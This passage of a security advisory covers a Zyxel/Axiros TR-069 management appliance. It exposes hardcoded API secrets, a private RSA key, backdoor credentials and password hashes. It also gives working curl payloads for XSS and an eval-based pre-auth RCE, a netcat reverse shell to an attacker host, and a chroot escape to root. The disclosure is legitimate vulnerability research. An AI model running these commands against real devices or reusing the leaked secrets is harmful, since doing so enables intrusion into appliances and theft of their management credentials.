{'ATTRIBUTE': [{'DS_VALUE': u'no'}, {'type': ''}, {'method': ''}, {'username': ''}, {'password': ''}]}, {'ATTRIBUTE': [{'DS_VALUE': u'no'}, {'type': ''}, {'aaa_method': ''}, {'allowed_user': ''}, {'allowed_auth_method': u'mschapv2'}, {'username': ''}, {'auth_method': u'mschapv2'}, {'password': ''}]}]}}}}}}, 'ScriptFile': u'/etc/zyxel/ftp/.tmp/tr069download.dat', 'StartTime': u'2017-06-21T04:10:09', 'CompleteTime': u'2017-06-21T04:10:09'}
</code></pre>
<p><strong>Exposing this service on the WAN is likely to be a bad idea and will result as a pre-auth RCE as <code>axess</code></strong>.</p>
<p><a id="myzyxel-hardcoded-secret"></a></p>
<h2>Details - MyZyxel 'Cloud' Hardcoded Secret</h2>
<p>The device can connect to the MyZyxel service. The code responsible to exchange information between the appliance and the 'Cloud' is written in java.</p>
<p>The JAR file is executed from <code>myzyxel.pyc</code> using <code>subprocess.Popen</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">decrypt</span>(encrypted_string, encrypted_secret_key, action<span style="color: #666666">=</span><span style="color: #BA2121">&#39;aes_decode_with_plain_key&#39;</span>):
    JAVA_PROGRAM <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;java&#39;</span>
    Delegate_Util <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;/opt/axess/Extensions/custom_code/MZCDelegate-protect.jar&#39;</span>
    RESULT_DECODING <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;UTF-8&#39;</span>
    sp <span style="color: #666666">=</span> subprocess<span style="color: #666666">.</span>Popen([JAVA_PROGRAM, <span style="color: #BA2121">&#39;-jar&#39;</span>, Delegate_Util, action, encrypted_secret_key, encrypted_string], stdout<span style="color: #666666">=</span>subprocess<span style="color: #666666">.</span>PIPE, stderr<span style="color: #666666">=</span>subprocess<span style="color: #666666">.</span>PIPE)
    [<span style="color: #666666">...</span>]
</pre></div>

<p>The <code>MZCDelegate-protect.jar</code> file contains specific Zyxel code for encryption and has an interesting hardcoded resource file (<code>IV.dat</code>).</p>
<p>When reading the java code, it appears this <code>IV.dat</code> resource is used as as Secret Key along with a defined Initialization Vector (containing only 0s).</p>
<p>It seems this behavior may not completely follow best practices when dealing with encryption:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">[...]</span>
<span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">final</span> String <span style="color: #0000FF">a</span><span style="color: #666666">(</span>String str<span style="color: #666666">)</span> <span style="color: #666666">{</span>
    IvParameterSpec ivParameterSpec <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> IvParameterSpec<span style="color: #666666">(</span><span style="color: #008000; font-weight: bold">new</span> <span style="color: #B00040">byte</span><span style="color: #666666">[]{0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0,</span> <span style="color: #666666">0});</span>
    ObjectInputStream objectInputStream <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> ObjectInputStream<span style="color: #666666">(</span>getClass<span style="color: #666666">().</span><span style="color: #7D9029">getResourceAsStream</span><span style="color: #666666">(</span><span style="color: #BA2121">&quot;/IV.dat&quot;</span><span style="color: #666666">));</span>
    <span style="color: #008000; font-weight: bold">try</span> <span style="color: #666666">{</span>
        Cipher instance <span style="color: #666666">=</span> Cipher<span style="color: #666666">.</span><span style="color: #7D9029">getInstance</span><span style="color: #666666">(</span><span style="color: #BA2121">&quot;AES/CBC/PKCS5Padding&quot;</span><span style="color: #666666">);</span>
        instance<span style="color: #666666">.</span><span style="color: #7D9029">init</span><span style="color: #666666">(2,</span> <span style="color: #666666">(</span>SecretKeySpec<span style="color: #666666">)</span> objectInputStream<span style="color: #666666">.</span><span style="color: #7D9029">readObject</span><span style="color: #666666">(),</span> ivParameterSpec<span style="color: #666666">);</span>
        String str2 <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> String<span style="color: #666666">(</span>instance<span style="color: #666666">.</span><span style="color: #7D9029">doFinal</span><span style="color: #666666">(</span>Base64<span style="color: #666666">.</span><span style="color: #7D9029">decodeBase64</span><span style="color: #666666">(</span>str<span style="color: #666666">)));</span>
        objectInputStream<span style="color: #666666">.</span><span style="color: #7D9029">close</span><span style="color: #666666">();</span>
        <span style="color: #008000; font-weight: bold">return</span> str2<span style="color: #666666">;</span>
    <span style="color: #666666">}</span>
<span style="color: #666666">[...]</span>
</pre></div>

<p>Content of <code>IV.dat</code>:</p>
<pre><code>vm# hexdump -C ./resources/IV.dat
00000000  ac ed 00 05 73 72 00 1f  6a 61 76 61 78 2e 63 72  |....sr..javax.cr|
00000010  79 70 74 6f 2e 73 70 65  63 2e 53 65 63 72 65 74  |ypto.spec.Secret|
00000020  4b 65 79 53 70 65 63 5b  47 0b 66 e2 30 61 4d 02  |KeySpec[G.f.0aM.|
00000030  00 02 4c 00 09 61 6c 67  6f 72 69 74 68 6d 74 00  |..L..algorithmt.|
00000040  12 4c 6a 61 76 61 2f 6c  61 6e 67 2f 53 74 72 69  |.Ljava/lang/Stri|
00000050  6e 67 3b 5b 00 03 6b 65  79 74 00 02 5b 42 78 70  |ng;[..keyt..[Bxp|
00000060  74 00 03 41 45 53 75 72  00 02 5b 42 ac f3 17 f8  |t..AESur..[B....|
00000070  06 08 54 e0 02 00 00 78  70 00 00 00 20 ac d3 eb  |..T....xp... ...|
00000080  1d 3c c1 af 97 82 59 ab  2b d5 00 9d 64 1f b5 1c  |.&lt;....Y.+...d...|
00000090  bf 49 ed 2a 23 7c 65 f0  97 54 cc 88 09           |.I.*#|e..T...|
0000009d
</code></pre>
<p>Finally, it is interesting to note that <code>myzyxel.pyc</code> contains also hardcoded credentials:</p>
<pre><code>user_key_id = '4B1D916BE2FA76042316'
user_secret = 'PAZsJJ55frFmNivjAzgjYPC4fCQc3Wi9WVVZ5w=='
</code></pre>
<p><a id="hardcoded-secrets-apis"></a></p>
<h2>Details - Hardcoded Secrets, API</h2>
<p>When reading the source code of the web (Python) application, it appears some critical variables are being imported:</p>
<pre><code>root@chopin:/opt/axess/opt/axess# cat /opt/axess/opt/axess/zyxel/zyxel_customizations/live.CloudCNMEntryPoint/config/config.py
axess_config = container.TR69Utils.get_axess_default_config()
config = {
    "zyxel_portal": {
        "host": axess_config.get('ZYXEL_PORTAL_HOST'),
        "app_key": axess_config.get('APP_KEY'),
        "login_redirect_uri": "/live/CloudCNMEntryPoint",
        "logout_redirect_uri": "/live/CloudCNMEntryPoint"
    }, "oauth_secret_key": axess_config.get('OAUTH_SECRET_KEY'),
    "jwt_secret": axess_config.get('SERVER_ACCESS_SECRET'),
    "jwt_secret_id": axess_config.get('SERVER_ACCESS_KEY_ID'),
    "account_api_url": axess_config.get('ACCOUNT_API_URL'),
    "https_verify": axess_config.get('HTTPS_VERIFY') == True,
}
</code></pre>
<p>The hardcoded configuration parameters come directly from the <code>/opt/axess/etc/default/axess</code> file:</p>
<pre><code>NBI_USER="admin"
NBI_PASS="ax"
# Zyxel specific parameters
SERVER_ACCESS_KEY_ID=""
SERVER_ACCESS_SECRET=""
CNMS_API_URL="https://api.myzyxel.com/v1/my/cloud_cnms"
SECU_API_URL="https://api.myzyxel.com/v2/my/secu_managers"
APP_KEY="85ca73265e977fd46805163b8f7d66b0395b56f31b7e5850f2514f10d41a482b"
OAUTH_SECRET_KEY="SvaK1LoGZMu8ZgZ6TKJGCwx+xiEBooSLmaQUiyAyUDTDbHFZtT3PCob9QL/pfzA3oGw0t0ANVO4KTbkrAwonP4lL+ax0ijqS9cAtTPGSMfw="
ZYXEL_PORTAL_HOST="https://portal.myzyxel.com/"
DECRYPT_URL=""
</code></pre>
<p>Furthermore, the permissions of this file allows any user to read this file:</p>
<pre><code>root@chopin:/opt/axess/opt/axess# ls -la /opt/axess/etc/default/axess
-rw-r--r-- 1 root root 2607 Mar  6  2018 /opt/axess/etc/default/axess
</code></pre>
<p>These hardcoded keys are used for secure communications between the appliance and the 'Cloud' management.</p>
<p><a id="predefined-pwd-admins"></a></p>
<h2>Details - Predefined passwords for admin accounts</h2>
<p>By default, we can extract the pre-defined admin and the pre-defined users from mysql:</p>
<pre><code>mysql&gt; select * from Administrator_users;
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| uid   | props                                                                                                                                                                                                                                                                                      |
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| admin | {'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$O2K8FGHtvfaLE7QaIVlgP.GO0CWfrwwBuFBRNTvghCrfvf.nZAg0C', 'id': 'admin'} |
+-------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql&gt; select * from Users_users;
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| uid   | props                                                                                                                                                                                                                                                                                                                                         |
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| admin | {'username': 'admin', 'created_ts': 'Fri May  8 11:25:20 2015', 'roles': ['Manager'], 'authdbid': 'Users-342940', 'password_change_ts': 'Mon Jun  8 15:45:45 2015', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$4YkCCSqUFy4hf/5WluCok./OVGe2LSQZNF4IR4Je5H7xqzfMrivmm', 'id': 'admin'} |
+-------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
</code></pre>
<p>By doing some forensic, it is also trivial to extract previous admin/users:</p>
<pre><code>root@chopin:/opt/mysql/var/lib/mysql/live# strings Administrator_users.*
{'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$O2K8FGHtvfaLE7QaIVlgP.GO0CWfrwwBuFBRNTvghCrfvf.nZAg0C', 'id': 'admin'}
, 'id': 'admin'}
me': 'greg', 'created_ts': 'Mon Oct 12 13:01:38 2015', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Thu Mar  3 09:33:36 2016', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$ZKtY/VngGeHngrO55Rv.N.I3rPXdUuY3tEC3Tg1LuGSUwJJIOR3PW', 'id': 'greg'}
me': 'yjyeh', 'created_ts': 'Wed Feb 17 11:47:07 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by': 'lorinyeh', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$rhS/v/aR8rkBCXL0f9iD.OhT9Gb9hwuvh.0KpuQBLgFfZzMMOeCnS', 'id': 'yjyeh'}
me': 'wang', 'created_ts': 'Tue Feb 23 22:24:11 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Tue Feb 23 22:49:27 2016', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$ZbDh/hVwIR7vhykP2Du2eO6r4NcKE2kzKX3/./j9dL14JrO8FR5FS', 'id': 'wang'}
': 'ir', 'created_ts': 'Wed Mar  2 23:30:58 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Wed Mar  2 23:31:34 2016', 'created_by': None, 'miscProps': {}, 'additional_props': {'fullname': 'Axiros Gmbh Ingo Rubach'}, 'password': '$2a$04$RxHVLGGKb3E6fhd32FJWSeObJmQpcEDJM62lgzL8bxLqPDsH9LSdi', 'id': 'ir'}
admin
yjyeh
</code></pre>
<p>These information can be useful to find backdoor access.</p>
<p><a id="insecure-cloud"></a></p>
<h2>Details - Insecure management over the 'Cloud'</h2>
<p>By default, myzxel.pyc used for communication to the 'Cloud' uses some hardcoded variables for communication over HTTPS:</p>
<pre><code>SERVER_ACCESS_KEY_ID = get_cfg_val('SERVER_ACCESS_KEY_ID')
SERVER_ACCESS_SECRET = get_cfg_val('SERVER_ACCESS_SECRET')
CNMS_API_URL = get_cfg_val('CNMS_API_URL')
HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true'

SERVER_ACCESS_KEY_ID will be generated by the Cloud server
SERVER_ACCESS_SECRET will be generated by the Cloud server
CNMS_API_URL will be https://api.myzyxel.com/v2/my/secu_managers
</code></pre>
<p>The function <code>get_account_info</code> uses the <code>account_id</code>, the <code>jwt_secret</code> and the <code>jwt_secret_id</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">106</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">get_account_info</span>(account_id, jwt_secret, jwt_secret_id):
[<span style="color: #666666">...</span>]
<span style="color: #666666">107</span>     payload <span style="color: #666666">=</span> [<span style="color: #666666">...</span>]                                 <span style="color: #408080; font-style: italic"># 1. generation of the payload</span>
<span style="color: #666666">110</span>     jwt_token <span style="color: #666666">=</span> jwt_gen(payload, jwt_secret)        <span style="color: #408080; font-style: italic"># 2. jwt_gen encodes the post payload using the empty jwt_secret value</span>
<span style="color: #666666">111</span>     post_data <span style="color: #666666">=</span> {<span style="color: #BA2121">&#39;access_key_id&#39;</span>: jwt_secret_id,    <span style="color: #408080; font-style: italic"># 3. new post data contains access_key_id=&amp;token=post-data</span>
<span style="color: #666666">112</span>        <span style="color: #BA2121">&#39;token&#39;</span>: jwt_token}                          <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">113</span>     <span style="color: #008000; font-weight: bold">try</span>:
<span style="color: #666666">114</span>         r <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>get(SECU_API_URL, verify<span style="color: #666666">=</span>HTTPS_VERIFY, data<span style="color: #666666">=</span>post_data)
<span style="color: #666666">115</span>         r<span style="color: #666666">.</span>raise_for_status()               <span style="color: #408080; font-style: italic">#      ^^- 4. the request is sent to https://api.myzyxel.com/v2/my/secu_managers</span>
<span style="color: #666666">116</span>         response <span style="color: #666666">=</span> r<span style="color: #666666">.</span>json()
<span style="color: #666666">117</span>     <span style="color: #008000; font-weight: bold">except</span> requests<span style="color: #666666">.</span>exceptions<span style="color: #666666">.</span>ConnectionError <span style="color: #008000; font-weight: bold">as</span> e:
<span style="color: #666666">118</span>         response <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;ConnectionError&#39;</span>
<span style="color: #666666">119</span> 
<span style="color: #666666">120</span>     <span style="color: #008000; font-weight: bold">return</span> response

<span style="color: #666666">102</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">jwt_gen</span>(payload, secret, algorithm<span style="color: #666666">=</span><span style="color: #BA2121">&#39;HS256&#39;</span>):
<span style="color: #666666">103</span>     <span style="color: #008000; font-weight: bold">return</span> jwt<span style="color: #666666">.</span>encode(payload, secret, algorithm)
</pre></div>

<p>The <code>jwt_secret</code> and <code>jwt_secret_id</code> are generated as unique key for each appliance.</p>
<p>But an attacker can extract them using backdoors APIs (please read the sub-section <a href="#backdoor-apis">Backdoor APIs</a>)
or by using the anonymous access to the ZODB interface and decrypting the secret <code>account_id</code> value.</p>
<p>Also, the connection to the cloud in myzyxel.pyc is done over HTTPS.
The Python script is using the requests module,
with the HTTPS_VERIFY variable set to <code>false</code> from <code>/opt/axess/etc/default/axess</code>:</p>
<pre><code>root@chopin:~# cat /opt/axess/etc/default/axess
[...]
# true or false is allowed
HTTPS_VERIFY=false
[...]
</code></pre>
<p>When reading <code>myzyxel.pyc</code>, the value of <code>HTTPS_VERIFY</code> is always <code>false</code>.
So the verification of certificate is never done from the appliance,
allowing an attacker to MITM the HTTPS requests:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">19</span> HTTPS_VERIFY <span style="color: #666666">=</span> get_cfg_val(<span style="color: #BA2121">&#39;HTTPS_VERIFY&#39;</span>) <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;true&#39;</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">114</span>         r <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>get(SECU_API_URL, verify<span style="color: #666666">=</span>HTTPS_VERIFY, data<span style="color: #666666">=</span>post_data)
[<span style="color: #666666">...</span>]
<span style="color: #666666">146</span>         r <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>patch(url, verify<span style="color: #666666">=</span>HTTPS_VERIFY, data<span style="color: #666666">=</span>post_data)
[<span style="color: #666666">...</span>]
<span style="color: #666666">180</span>         r <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>patch(url, verify<span style="color: #666666">=</span>HTTPS_VERIFY, data<span style="color: #666666">=</span>post_data)
[<span style="color: #666666">...</span>]
<span style="color: #666666">229</span>     r <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>post(url, verify<span style="color: #666666">=</span>HTTPS_VERIFY, data<span style="color: #666666">=</span>post_data)
[<span style="color: #666666">...</span>]
<span style="color: #666666">253</span>     r <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>get(url, verify<span style="color: #666666">=</span>HTTPS_VERIFY, data<span style="color: #666666">=</span>post_data)
[<span style="color: #666666">...</span>]
<span style="color: #666666">279</span>     r <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>patch(url, verify<span style="color: #666666">=</span>HTTPS_VERIFY, data<span style="color: #666666">=</span>post_data)
</pre></div>

<p>The non-verification of SSL seems to be a standard practice in the code. e.g.:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>ret <span style="color: #666666">=</span> requests<span style="color: #666666">.</span>get(<span style="color: #BA2121">&#39;https://service-dispatcher.cloud.zyxel.com/s/geoip/v1/geoInfo?ipAddress=&#39;</span> <span style="color: #666666">+</span> cpeIp, verify<span style="color: #666666">=</span><span style="color: #008000">False</span>, timeout<span style="color: #666666">=2</span>)
</pre></div>

<p>It is recommended to avoid using the cloud functionality (api.myzyxel.com - 54.174.11.58 AWS, 18.234.22.109 AWS and 54.84.22.89 AWS).</p>
<p><a id="xmpp-escape-seq-injection"></a></p>
<h2>Details - xmppCnrSender.py log escape sequence injection</h2>
<p>The Python script <code>xmppCnrSender.py</code> is running as root and provides
an open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.</p>
<p>The logs written in <code>/var/log/axxmpp.log</code> are not sanitized and
an attacker can send escape sequence injections.</p>
<pre><code>echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" &gt; payload
nc -v [ip] 8083 &lt; payload
</code></pre>
<p>(code from from <a href="http://www.ush.it/team/ush/hack_httpd_escape/adv.txt">http://www.ush.it/team/ush/hack_httpd_escape/adv.txt</a>)</p>
<p>This is likely to change the admin's terminal title to <code>owned?</code> when
he runs <code>cat /var/log/axxmpp.log</code> or <code>tail -f /var/log/axxmpp.log</code>.</p>
<p>Also, this will add some fun to this long journey.</p>
<p><a id="xmpp-no-auth-cleartext"></a></p>
<h2>Details - xmppCnrSender.py no authentication and clear-text communication</h2>
<p>The Python script  <code>xmppCnrSender.py</code> is running as root and provides
a open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.</p>
<p>2 Apis are provided:</p>
<ul>
<li>/registerCpe/?JID=%(username)s&amp;PWD=%(password)s</li>
<li>/cnr/?JID=%(jabberid)s&amp;CRUs=%(username)s&amp;CRP=%(password)s</li>
</ul>
<p>By default the traffic is not encrypted.</p>
<p>Furthermore, the registration is open and anyone can create accounts.</p>
<p><a id="zope-out-of-range"></a></p>
<h2>Details - Incorrect HTTP requests cause out of range access in Zope</h2>
<p>By default, Apache2 is running on ports 9673/tcp and 80/tcp on the WAN interface. It provides an interface to a Zope WSGI.</p>
<p>By sending invalid HTTP requests, it is possible to cause exceptions in Zope because of the lack of the '/' in the HTTP version:</p>
<pre><code>vm# telnet 192.168.1.1 9673
GET / yolo &lt;---- yolo is used instead of 'PROTOCOL/VERSION'


HTTP/1.1 500 Internal Server Error
[...]

An error occurred.  See the error logs for more information.
&lt;type 'exceptions.IndexError'&gt; - list index out of range
</code></pre>
<p>The problem appears to come from the Zope library: 
<a href="https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347">https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347</a>:</p>
<pre><code>343        new_response = (
344            _response
[...]
347        new_response._http_version = environ['SERVER_PROTOCOL'].split('/')[1]
</code></pre>
<p><a id="xss"></a></p>
<h2>Details - XSS on the web interface</h2>
<p>The webinterface on ports 80/tcp and 9673/tcp is prone to a lot of XSS:</p>
<pre><code>vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?JSON=1&amp;script_name=&lt;XSS&gt;'
&lt;XSS&gt;

vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?script_name=&lt;ddaaaaa&gt;'
&lt;a title="&lt;ddaaaaa&gt;" href="/&lt;ddaaaaa&gt;/manage" target="_blank"&gt;&lt;ddaaaaa&gt;&lt;/a&gt;#

vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/generate_sp_link?cid2=&lt;xss&gt;'
&lt;xss&gt;
</code></pre>
<p>Finding others XSS is left as an exercise for the reader.</p>
<p><a id="private-ssh-key"></a></p>
<h2>Details - Private SSH key</h2>
<p>The system contains an hardcoded SSH Key in the TR69 configuration:</p>
<pre><code>root@chopin:/opt/axess/opt/axess/AXAssets# cat /opt/axess/opt/axess/AXAssets/default_axess/axess/TR69/Handlers/turbolink/sshkeys/id_rsa 
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDC4GnOyypL29jIK3cye/MDRXobza+4gdCF9hUKxKdA/HRpeOB1
vPZ5FuQRFR6tSHACOd5xAMILnWMhu/c4F9o/gDF1ZrfsyUJ39seTVBKQFBesgZlF
Xjmf/zBatrpc0DwvpxY1ql0CHGt8G3OO2f3rbRJBkFTMXfF9xUmEudH4nQIBIwKB
gCFoTKcbg5f5zWQktVkckA8we1U5NBEAT6Hvq9X104d7vC9WjOD70nsoft5bZFg4
Tbc9HtGLGfNczypavKqHvwNFgwryFO2pzlv6NsqvqPXi56rO5GNb5yGrve6k+4aH
X3BDfxd1SbRIYZuYAgAmLXe8yDcDRixBKbrVQUtJXhULAkEA8T6HyD0Lp2wKfwgo
nMJ7Qz5F3h/2cSCyYyLHj91i56m9KcLJBiJ2AeVYO4hcV3InlOpQ7osU5cdhJK0S
QRnAkQJBAM7L2G+rdsNNVO7VIbahJSU8rOyaYKpUqTI5ow8hvn2QY55DY81h8HRM
wuk03E6CiWBCr7lbCqa2sBn05fdovU0CQQC6Gkt9NmgTcJph/vrCEl8WncDeja97
12UKpc0l1qtiQRzls4Uh/VO4UdZZz5exLC0pvBKMIiYQV/p7YPDTIn6bAkEAn4dP
MZLmlqlext7uHyva05U08Qlgg2Xhm8YQEvzGJllxa3XQpcCU7ACznfWUAgztogeO
33IeKNYS0jHzOzOKtwJBAKnIlBv1GAW8vEcmTC2NRPCPm9Ta//04rk6DTsl1SaU4
8Zav73P9sJWbnOCzBRI7qaHjK6Zx9L9h04bdk5uvdeE=
-----END RSA PRIVATE KEY-----
root@chopin:/opt/axess/opt/axess/AXAssets#
</code></pre>
<p><a id="backdoor-apis"></a></p>
<h2>Details - Backdoor APIs</h2>
<p>Some APIs are reachable without authentication and don't have any documentation.
The codes exist as object inside the ZDOB:</p>
<ul>
<li>http://[ip]:9673/update_all_realm_license?cnmid=%s</li>
<li>http://[ip]:9673/zy_install_user</li>
<li>http://[ip]:9673/zy_install_user_key</li>
<li>http://[ip]:9673/zy_get_user_id_and_key?cnmid=%s' % cnmid &lt;- allows to dump the 'access_key_id' and the 'secret_access_key'</li>
<li>http://[ip]:9673/zy_get_instances_for_update</li>
<li>
<p>http://[ip]:9673/live/GLOBALS?key=CLOUDCNM</p>
</li>
<li>
<p>http://[ip]/update_all_realm_license?cnmid=%s</p>
</li>
<li>http://[ip]/zy_install_user</li>
<li>http://[ip]/zy_install_user_key</li>
<li>http://[ip]/zy_get_user_id_and_key?cnmid=%s' % cnmid &lt;- allows to dump the 'access_key_id' and the 'secret_access_key'</li>
<li>http://[ip]/zy_get_instances_for_update</li>
<li>http://[ip]/live/GLOBALS?key=CLOUDCNM</li>
</ul>
<p><code>/zy_get_user_id_and_key</code> seems to allow an attacker to dump the <code>access_key_id</code> and
the <code>secret_access_key</code> used for the 'Cloud' configuration, without authentication.</p>
<p><a id="backdoor-management-rce"></a></p>
<h2>Details - Backdoor management access and RCE</h2>
<p>The web interface on ports 80/tcp and 9673/tcp has a backdoor management access allowing to download and upload python code, templates, webpages and ZEXPs.</p>
<p>The credentials are: <code>axiros</code> / <code>q6xV4aW8bQ4cfD-b</code></p>
<p>We are using the available <code>zcp.py</code> tool in <code>/opt/axess/opt/axess/zyxel</code>.
This pre-written tool allows to upload some files remotely and update the ZODB objects.</p>
<p>We download the files:</p>
<pre><code>vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b http://192.168.1.1:9673/live/CPEManager/AXCampaignManager dir
axess root@chopin:/opt/axess/zyxel/tmp# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b http://192.168.1.1:9673/live/CPEManager/AXCampaignManager dir
DEBUG:root:Download mode engaged
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): 192.168.1.1
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/manage_main?__ac_name=axiros&amp;__ac_password=q6xV4aW8bQ4cfD-b HTTP/1.1" 200 4335
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/charts/manage_main HTTP/1.1" 200 3374
DEBUG:root:Downloading .py at charts campaign_line_chart_html
[...]
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/campaign_log_actions/document_src HTTP/1.1" 200 347
Download complete at 11:11:14, took     0.2794 Seconds
</code></pre>
<p>We add the python code inside <code>dir/handle_campaign_script_link.py</code>:</p>
<pre><code>vm# echo 'return 1 + 1' &gt; dir/handle_campaign_script_link.py
</code></pre>
<p>We then upload the updated python file using the provided zcp.py tool:</p>
<pre><code>vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b dir http://192.168.1.1:9673/live/CPEManager/AXCampaignManager
DEBUG:root:Upload mode engaged
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): 192.168.1.1
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/manage_main?__ac_name=axiros&amp;__ac_password=q6xV4aW8bQ4cfD-b HTTP/1.1" 200 4335
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680
[...]
</code></pre>
<p>Testing the execution of Python:</p>
<pre><code>vm# curl 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link'
2
</code></pre>
<p>Python code is sucessfully executed on the appliance as <code>axess</code>.</p>
<p><a id="pre-auth-rce"></a></p>
<h2>Details - Pre-auth RCE with chrooted access</h2>
<p>It is possible to achieve RCE by abusing an insecure API due to unsafe calls to eval():</p>
<pre><code>vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system('id&gt;/tmp/a')"
</code></pre>
<p>Output is stored in the "Axess" chroot:</p>
<pre><code>root@chopin:/opt/axess/tmp# cat /opt/axess/tmp/a
uid=210(axess) gid=210(axess) groups=210(axess)
</code></pre>
<p>It is also possible to get a connect-back shell:</p>
<pre><code>vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system('nc+-e+/bin/sh+192.168.1.2+1337')"
</code></pre>
<p>On 192.168.1.2, the attacker receives the shell:</p>
<pre><code>vm# nc -l -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910
id
uid=210(axess) gid=210(axess) groups=210(axess)
uname -ap
Linux chopin 3.2.0-5-amd64 #1 SMP Debian 3.2.96-3 x86_64 GNU/Linux
</code></pre>
<p>Also, even if the shell is within a chrooted environment, it is possible to break the chroot using a LPE and
the fact that /proc is mounted inside the chroot:</p>
<pre><code>vm# nc -l -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910
id
uid=0(root) gid=0(root) groups=0(root)
ls / | head
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
chroot /proc/1/root     # PRISON BREAK!
ls / | head
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
</code></pre>
<h2>Vendor Response</h2>
